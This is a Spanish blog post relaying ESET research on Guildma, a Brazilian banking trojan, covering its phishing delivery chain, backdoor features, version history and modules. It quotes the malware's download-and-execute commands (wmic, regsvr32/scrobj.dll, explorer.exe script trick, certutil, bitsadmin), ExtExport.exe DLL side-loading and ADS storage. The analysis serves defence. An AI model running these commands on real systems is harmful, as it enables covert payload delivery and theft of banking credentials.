Actualización Del Malware Guildma: Características Y Cómo Funciona

El pasado año nos llegaban noticias de que desde principios de 2019 miles de usuarios habían sido víctimas del malware llamado Guildma, del cual hablaremos hoy en este post.

Este malware posee una herramienta de acceso remoto (RAT), spyware, capacidad de robo de contraseñas y actuación a modo de troyano bancario. En un principio su principal objetivo fueron usuarios y servicios localizados en Brasil, pero poco a poco su alcance se fue expandiendo a compañías como Netflix, Facebook, Amazon y Google Mail.

Este malware era distribuido a través de campañas de phishing llevadas a cabo por correo electrónico (pudiendo tratarse de facturas, invitaciones, etc.), tratándose de correos personalizados que se dirigían a las víctimas por su nombre. En estos correos se enlazaba un archivo ZIP que contenía el link malicioso. Cuando el usuario afectado abría este archivo, éste descargaba un archivo XSL malicioso que a su vez descargaba todos los módulos de Guildma y ejecutaba un cargador en su primera etapa, el cual incluía el resto de módulos del malware. Este último entonces se activaba y esperaba las órdenes del servidor de comando y control (C&C) para dar comienzo a las interacciones específicas con el usuario, como podía ser abrir el sitio web de uno de los servicios que había sido blanco del ataque.

En la siguiente imagen podemos observar el alcance e intensidad de las campañas de distribución del malware desde el inicio de su distribución. Se observa claramente la puesta en marcha de una campaña masiva en agosto de 2019, cuando se enviaban hasta 50.000 muestras al día; esta campaña duró casi dos meses.

Fuente de la imagen: ESET – WeLiveSecurity

Como casi todos los malwares con los que nos podemos encontrar actualmente, Guildma ha sido actualizado con potentes novedades en cuanto a su ejecución y técnicas de ataque. Así pues, a continuación explicaremos sus características y funcionamiento.

CARACTERÍSTICAS

Como se ha explicado anteriormente, Guildma es un troyano bancario latinoamericano que tiene como objetivo principal a entidades brasileñas. Además de afectar a instituciones financieras, Guildma también intenta hacerse con credenciales de correos electrónicos, tiendas online y servicios de streaming, y afecta al menos a diez veces más víctimas que cualquier otro troyano latinoamericano de esta familia analizado hasta el momento. Usa métodos innovadores de ejecución así como técnicas de ataques sofisticadas.

A diferencia de otros troyanos latinoamericanos. Guildma no almacena las ventanas emergentes falsas usadas en el binario. En su lugar, el ataque se lleva a cabo a través del servidor C&C. Esto da a los creadores del malware mayor flexibilidad para reaccionar a las contramedidas implementadas por las entidades bancarias víctimas del ataque.

Guildma tiene implementadas las siguientes funcionalidades como puerta trasera:

  • Hacer capturas de pantalla
  • Capturar las pulsaciones del teclado
  • Simular teclado y ratón
  • Bloquear atajos (por ejemplo, deshabilita la combinación de teclas Alt+F4 para que así sea más difícil cerrar la ventana emergente cuando ésta aparezca en pantalla)
  • Descargar y ejecutar archivos
  • Reiniciar el dispositivo

CÓMO FUNCIONA

Guildma funciona por módulos. Cuando los investigadores de ESET escribieron el artículo del que se nutre la información aquí proporcionada, el malware estaba constituido por 10 módulos, sin incluir las etapas de distribución en cadena.

EVOLUCIÓN DE LAS CADENAS DE DISTRIBUCIÓN

Guildma se distribuye a través de mensajes de spam que incluyen archivos maliciosos. A continuación se pueden observar algunos de estos mensajes escritos en portugués:

Una de las características que distingue la forma de distribución de Guildma en cadena es el uso de herramientas que están presentes en el sistema del dispositivo infectado, haciéndolo normalmente de forma novedosa y poco corriente. Otra de sus características es la reutilización de técnicas; si bien es cierto que se añaden nuevas técnicas de vez en cuando, la mayoría de las veces los desarrolladores parece que simplemente reutilizan las de versiones anteriores.

Distribución de Guildma

En la imagen anterior vemos la distribución en cadena de la versión 150 del malware; la estructura de distribución es bastante dinámica. Por ejemplo, en versiones anteriores el archivo malicioso LNK que observamos en la imagen no estaba dentro del archivo ZIP, ni tampoco se utilizaba un archivo SFX RAR que contuviese un instalador MSI. De igual forma, solía haber una etapa JScript cuyo único propósito era descargar y ejecutar la etapa final JScript.

TÉCNICAS MÁS LLAMATIVAS USADAS EN LOS ÚLTIMOS 14 MESES

Ejecución de la etapa JScript

A finales de 2018, Guildma escondía su código en archivos «extensible Stylesheet Language (.xsl)» y usaba wmic.exe para descargarlos y ejecutarlos:

wmic.exe /format:”<URL>”

Por un breve periodo de tiempo pasó a usar regsvr32.exe y scrobj.dll para descargar un objeto COM con JScript implementado y ejecutaba su registro rutinario (el cual contenía el código malicioso):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

Más recientemente, los desarrolladores del malware empezaron a hacer uso de Windows Explorer para ejecutar la etapa de JScript. Este ataque se apoya en el hecho de que Windows Explorer tratará de abrir cualquier archivo que se le pase a través de la línea de comandos con el programa asociado correspondiente, así como también se aprovecha de que la asociación por defecto de los archivos .js es «Microsoft Windows Script Host«. El script que se le proporciona a Windows Explorer es un comando único cuyo propósito es descargar y ejecutar la etapa JScript:

echo GetObject(‘script:<URL>’) > <file>.js | explorer.exe <random switches> <file>.js

Ejecución de los módulos del binario

En sus inicios, Guildma hacía uso de aswRunDll.exe (de Avast) para dar comienzo a la primera etapa del binario, y de regsvr32.exe como respaldo para los casos en los que los productos de Avast no estuviesen instalados en el dispositivo infectado. Posteriormente los desarrolladores cesaron el uso de aswRunDll.exe, dejando a regsvr32.exe como el único método de ejecución. Después de un breve periodo de tiempo usando rundll32.exe, los desarrolladores de Guildma empezaron a utilizar el método de ejecución actual: ExtExport.exe.

ExtExport.exe es un componente de Microsoft Internet Explorer sobre el que no hay documentación, usado para exportar marcadores de Mozilla Firefox y 360 Secure, y puede ser utilizado de manera dañina por DLL Side-Loading (Carga lateral de archivos DLL). Cuando el comando que aparece a continuación se ejecuta, mozcrt19.dll, mozsqlite3.dll y sqlite3.dll se cargan en la carpeta especificada en la línea de comando:

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Para hacer un uso malicioso de esto, normalmente habría que cargar la DLL como uno de los archivos mencionados anteriormente; en el caso de Guildma se usan los tres.

Descarga de los módulos del binario

La primera versión de Guildma usaba certutil.exe y lo copiaba en certis.exe (aparentemente para evadir su detección):

certis.exe -urlcache -split -f “<URL>” “<destination path>”

Los desarrolladores luego cambiaron a BITSAdmin (la herramienta de administración Microsoft Background Intelligent Transfer Service) y todavía lo siguen usando:

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Durante un par de meses los módulos del binario fueron codificados en base64 y su proveedor hosting fue Google Cloud. En ese momento, Guildma usaba tanto BITSAdmin como certutil (el primero para descargar los módulos y el segundo para decodificarlos).

Otros cambios de interés

Guildma utiliza variables y nombres de funciones extraños y poco descriptivos. A pesar de que estos nombres no tienen sentido, se puede apreciar que son creación de una persona (por ejemplo, «radador» para la función de número aleatorio o «Bxaki» para la función de descarga). En 2019 todos estos nombres se cambiaron por palabras aleatorias (por ejemplo, «bx021» y «mrc430»). Los investigadores de ESET tenían la sospecha de que los desarrolladores del malware pudieran estar haciendo uso de una herramienta de ofuscación automática, pero finalmente concluyeron que no parece ser el caso, ya que este cambio solo ocurrió en esa ocasión y los nombres han permanecido así desde entonces.

Un añadido relativamente nuevo es la técnica ya bastante conocida ADS (Alternate Data Streams) para almacenar los módulos del binario. Todos los módulos ahora se almacenan como ADS de un archivo único (por ejemplo, “desktop.ini:nauwuygiaa.jpg”, “desktop.ini:nauwuygiab.jpg”, etc.).

HISTÓRICO DE VERSIONES

Aparentemente, el malware Guildma cuenta con un gran número de versiones desarrolladas por los atacantes, a pesar de que los cambios y avances entre unas y otras eran escasos (debido a una arquitectura inadecuada, la cual incluía valores de configuración en el código, la mayor parte de los desarrolladores tienen que recompilar todos los binarios en cada campaña). Este trabajo no ha sido totalmente automatizado, ya que normalmente existe un retraso considerable entre la actualización del número de versión en los scripts y los de los binarios.

En el artículo de ESET se recogen 150 versiones, pero en el momento de publicarse ya existían otras dos. Los cambios entre ellas, como se ha mencionado, no son considerables en cuanto a funcionalidad o distribución.

La etapa final de la distribución en cadena en la cual se incluye el número de la versión parece haber sido sustituida de manera permanente con los caracteres «xXx» desde la versión 148.

Aquí se puede encontrar un listado de todas (o casi todas) las versiones de Guildma.

RESUMEN DE LOS MÓDULOS

La estructura de los módulos de Guildma parece ser bastante constante. Todos los módulos están compuestos de un prefijo compartido que depende de la versión del malware, y un sufijo específico para cada módulo. En la siguiente tabla se pueden observar algunos ejemplos. La primera columna es el nombre de archivo de la URL, la segunda columna contiene el nombre de los archivos en el sistema, y la tercera columna se corresponde con el módulo.